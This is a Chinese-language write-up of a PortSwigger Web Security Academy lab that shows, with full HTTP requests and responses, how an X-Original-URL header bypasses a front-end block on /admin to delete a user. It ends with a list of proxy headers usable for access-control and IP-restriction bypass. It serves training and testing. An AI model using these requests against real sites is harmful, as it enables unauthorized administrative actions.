Burp Web Academy 访问控制漏洞(二)

0x01. PortSwigger Web Security Academy

PortSwigger Web Security Academy 是 Burp Suite 官方推出的免费 Web 安全学习靶场,在学习 Web 安全知识的同时,还可以练习 Burp Suite 的实战技能。

本篇文章讲解 Web Security Academy 之中的访问控制漏洞(Access Control Vulnerabilities)章节。

0x02. Lab: URL-based access control can be circumvented

2.1 题目描述

This website has an unauthenticated admin panel at /admin, but a front-end system has been configured to block external access to that path. However, the back-end application is built on a framework that supports the X-Original-URL header.

To solve the lab, access the admin panel and delete the user carlos.

这个题稍微复杂一点,需要有一定的解题套路。

首先,访问 /admin,得到如下返回信息:

1
2
3
4
5
6
HTTP/2 403 Forbidden
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 15

"Access denied"

按照题目的意思,这种简单的回复信息可能是 front-end system 返回的。从笔者个人的理解来说,可能是类似 Nginx 一类的组件,对 URL 做了访问控制,比如这里禁止外部访问,还没有触达最终的服务器就提前拦截了。这里所谓的前端,不是通常意义上的 Web 前端,并不是用户能直接感知的部分,叫做中间组件可能更好理解一点,介于前端和后端之间。

像这样的中间组件,应该是可以根据规则给 HTTP 请求头增加新的字段的,用来标识请求到底来自哪里。因为最后端的服务器并不知道请求最初来自何方,所以中间组件的这个标识功能是需要的。

2.2 访问不存在的 PATH

回到题目的提示,这个标识应该就是 X-Original-URL,尝试访问一个合法的页面,但是 X-Original-URL 设置为不存在的页面:

1
2
3
4
GET / HTTP/2
Host: 0a67001b03ad9ece81442a9700d9006a.web-security-academy.net
X-Original-Url: /url-probe
......

服务器返回 404

1
2
3
4
5
6
7
HTTP/2 404 Not Found
Content-Type: application/json; charset=utf-8
Set-Cookie: session=mKouAEkvGFCjTD2fFc4wL9F2TfIgKWl4; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 11

"Not Found"

2.3 访问存在的 PATH

修改 HTTP 请求头:X-Original-Url 指定为 /product?productId=1

1
2
3
4
GET / HTTP/2
Host: 0a67001b03ad9ece81442a9700d9006a.web-security-academy.net
X-Original-Url: /product?productId=1
......

服务器返回 400,提示没有 productId 参数:

1
2
3
4
5
6
7
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
Set-Cookie: session=dtJBzZ8uQlLSsNfUgiXKFqeQGbpUNeA2; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 30

"Missing parameter: productId"

说明,GET / 通过了权限检查,实际访问了 /product,但是没有收到参数部分 ?productId=1。可能参数是从 URL 取的,可以尝试把参数放到 URL 里面,重新测试:

1
2
3
GET /?productId=1 HTTP/2
Host: 0a67001b03ad9ece81442a9700d9006a.web-security-academy.net
X-Original-Url: /product

这就跟访问了 /product?productId=1 的效果是一样的了。

2.4 总结访问规则

总结:

  1. GET 指定的 URL,会被中间组件检查权限,如果没有访问权限,会被提前拦截
  2. 实际访问的 URL,可以根据 X-Original-Url 指定,但如果传递参数,则需要在 URL 中指定

2.5 漏洞利用

先看看 /admin 页面的内容:

1
2
3
4
GET / HTTP/2
Host: 0a67001b03ad9ece81442a9700d9006a.web-security-academy.net
X-Original-Url: /admin
......

返回如下信息:

1
2
3
4
5
6
7
8
9
10
11
<section>
<h1>Users</h1>
<div>
<span>wiener - </span>
<a href="/admin/delete?username=wiener">Delete</a>
</div>
<div>
<span>carlos - </span>
<a href="/admin/delete?username=carlos">Delete</a>
</div>
</section>

根据前面的实验,构造删除用户的请求:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
GET /?username=carlos HTTP/2
Host: 0a67001b03ad9ece81442a9700d9006a.web-security-academy.net
X-Original-Url: /admin/delete
Sec-Ch-Ua: "Chromium";v="105", "Not)A;Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

服务器返回 302,但是 carlos 已经被删除了:

1
2
3
4
5
HTTP/2 302 Found
Location: /admin
Set-Cookie: session=33N0sQZ3ERudFlHeSvZoXFfuoXbg4aYk; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0

0x03. 代理字段利用

3.1 常见字段

前面提到的中间组件,类似 Nginx 这种,可以理解为一种代理服务器。像 X-Original-Url 这种字段并不是 HTTP RFC 中存在的概念,是代理服务器自己约定的字段,包括 X-Forwarded-For 这种。

尽管这些字段并不是 HTTP 请求头中标准的字段,但在约定俗成的背景下,可能已经成为了事实上的标准(de-facto standard),常见的字段如下:

  • X-Original-URL
  • X-Rewrite-URL
  • X-Forwarded-For
  • X-Forward-For
  • X-Remote-IP
  • X-Originating-IP
  • X-Remote-Addr
  • X-Client-IP

X-Forwarded-For 常用来指明 HTTP 请求的原始 IP 地址,一些服务器会根据这个来判断请求来自何方,因此可以用来绕过一些 IP 相关的限制。像一些公司的办公网络,也会给 HTTP 请求头打上这个标记,可以通过外网能回显 HTTP 请求头的服务来确认。

3.2 测试思路

首先,发送正常的访问请求:

1
2
3
GET / HTTP/1.1
Host: www.example.com
[...]

其次,发送 X-Original-URL 指向不存在 URL 的请求:

1
2
3
4
GET / HTTP/1.1
Host: www.example.com
X-Original-URL: /donotexist1
[...]

如果后者返回了 404,说明字段 X-Original-URL 是支持的,就可以尝试绕过中间代理组件的访问控制了。

0x04. 参考文档

  1. https://portswigger.net/web-security/all-labs#access-control-vulnerabilities
  2. https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/02-Testing_for_Bypassing_Authorization_Schema